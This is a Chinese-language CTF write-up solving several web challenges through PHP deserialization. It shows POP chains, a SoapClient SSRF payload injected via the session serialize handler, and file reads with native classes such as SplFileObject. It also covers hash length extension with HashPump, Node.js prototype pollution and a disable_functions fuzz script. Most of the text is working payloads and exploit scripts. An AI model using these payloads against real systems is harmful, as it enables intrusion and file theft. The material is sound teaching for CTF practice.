知识点:原生类的利用,session 反序列化
//something in flag.php
class A
{
public $a;
public $b;
public function __wakeup()
{
$this->a = "babyhacker";
}
public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
$this->b->uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}
class C
{
public $a;
public $c;
public function __toString()
{
$cc = $this->c;
return $cc();
}
public function uwant()
{
if ($this->a == "phpinfo") {
phpinfo();
} else {
call_user_func(array(reset($_SESSION), $this->a));
}
}
}
if (isset($_GET['d0g3'])) {
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
$_SESSION['sess'] = $_POST['sess'];
}
else{
session_start();
if (isset($_POST["pop"])) {
unserialize($_POST["pop"]);
}
}
var_dump($_SESSION);
highlight_file(__FILE__);
链子很好构造
B:__destruct => C:__toString => A:__invoke => C:uwant
class A{
public $a;
public $b;
}
class B
{
public $a;
public $b;
public $k;
}
class C
{
public $a;
public $c;
}
$b = new B();
$c = new C();
$a = new A();
$b->a = $c;
$c->c = $a;
$a->a = '0e215962017';
$a->b = new C();
$a->b->a = 'succ3';
echo serialize($b);
增加属性绕过 __wakeup
即可
O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
链子构造好了,那么里面的 call_user_func(array(reset($_SESSION), $this->a));
该怎么用呢?
call_user_func(array($a, $b));
其中的$a要是一个类,$b为类中方法
我们看这一段:
当 d0g3
存在时,就可以写一个 post
值到 session
里,那么传什么值呢?
if (isset($_GET['d0g3'])) {
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
$_SESSION['sess'] = $_POST['sess'];
}
else{
session_start();
if (isset($_POST["pop"])) {
unserialize($_POST["pop"]);
}
}
var_dump($_SESSION);
这边就要看 flag.php 了,很明显需要用 soapclient
原生类构造 get
数据来访问它。
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$f1ag=implode(array(new $_GET['a']($_GET['b'])));
$_SESSION["F1AG"]= $f1ag;
}else{
echo "only localhost!!";
}
且在 flag.php
中 new $_GET['a']($_GET['b'])
可以用原生来读取目录,也可以读取文件。
原生类详解处
那么我们是不是可以构造一个利用 soapclient
以 get
方式在本地访问 flag.php
并传参的脚本,且在 flag.php 中会把值存入 session
,那么我们是不是就可以通过 session
值来获取 flag
了,这边我就用一下 y4
大佬的脚本了。
$target = 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$post_string = 'data=dir';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^'.join('^^',$headers),'uri' => "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo urlencode($a);
那么到这里思路一下子就清晰了,先利用 ini_set($_GET['baby'], $_GET['d0g3']);
和 $_POST['sess']
,设置 session
反序列化器为 php_serialize
,这样的话我们把上面的 ssrf payload
传进去并在最前面加一个 |
,在取出的时候由于 session
的默认反序列化器是 php
而造成反序列化漏洞。(session 反序列化介绍)
payload:
?d0g3=php_serialize&baby=session.serialize_handler
sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A36%3A%22y4tacker%0D%0AX-Forwarded-For%3A+127.0.0.1%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
传入的时候可以看出,还是正常的。
当我们以默认 PHP 处理器来访问时,它就会解析,把 |
前面的当做键值,后面的反序列化,这边也就是一个 Soapclient
类,但如果想要触发 ssrf ,我们还要访问一个Soapclient
中不存在的方法,到这是不是恍然大悟了。
没错就是下面这句,前面的 reset($_SESSION)
也就是上图的 Soapclient
类 $this->a
为方法名,那么是不是是要随便给 $this->a
附一个值就可以触发 ssrf
了。
call_user_func(array(reset($_SESSION), $this->a));
poc 链就是上面那个。
O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
执行访问,会显示页面无法正常运作,因为这个 pop
链并没有形成闭合,最后没有 return
一个 String
来给B类的__toString()
方法我们只要重新访问一下页面就可以了。
可以看到本地的 session
值已经有了。接下来就是替换 session
值了。
成功获取 flag
,对了 flag
文件的名字可以通过 DirectoryIterator
原生类来比配获得,其他操作一样。
http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*
知识点:哈希长度拓展攻击
利用 hashpump
工具,安装步骤如下:
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install
登录时看到如下图的 jsfuck
代码,放到 console
运行一下,注意前面的注释要删掉。
运行后会弹个框,告诉我们要 admin
大写。
一登进去就显示 flag
,嗯~~?,啥情况,看了大佬的 wp
,才发现原来访问 infoflllllag
是显示源码的,也不知道是哪位大佬这么牛。
var express = require('express');
var router = express.Router();
const isObject = obj = >obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) = >{
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) = >{
return merge({},
a);
}
router.get('/',
function(req, res, next) {
if (req.flag == "flag") {
flag;
res.send('flag?????????????');
}
res.render('info');
});
router.post('/', express.json(),
function(req, res) {
var str = req.body.id;
var obj = JSON.parse(str);
req.cookies.id = clone(obj);
res.render('info');
});
module.exports = router;
知识点:原生类,echo 16 进制
师傅们牛笔
$payload = 'glob:///f*';
$final = '';
for($i=0;$i<strlen($payload);$i++){
$final .= '\x'.bin2hex($payload[$i]);
}
echo $final;
没想到还可以这么干,用 16
进制。
通过 phpinfo 可以知道它 disable_function 的函数,fuzz 一下可以知道有哪些方法可用
fuzz
脚本写的一般,师傅们如果有更好的方法,望推荐!!!
$array = get_defined_functions();
$fuzz = "....";//disable_function
$fuzz = str_replace(' ','',$fuzz);
foreach($array['internal'] as $arr){
if(strpos($fuzz,$arr)!==false){
continue;
}else{
echo $arr."\n";
}
}
https://www.ctfiot.com/81036.html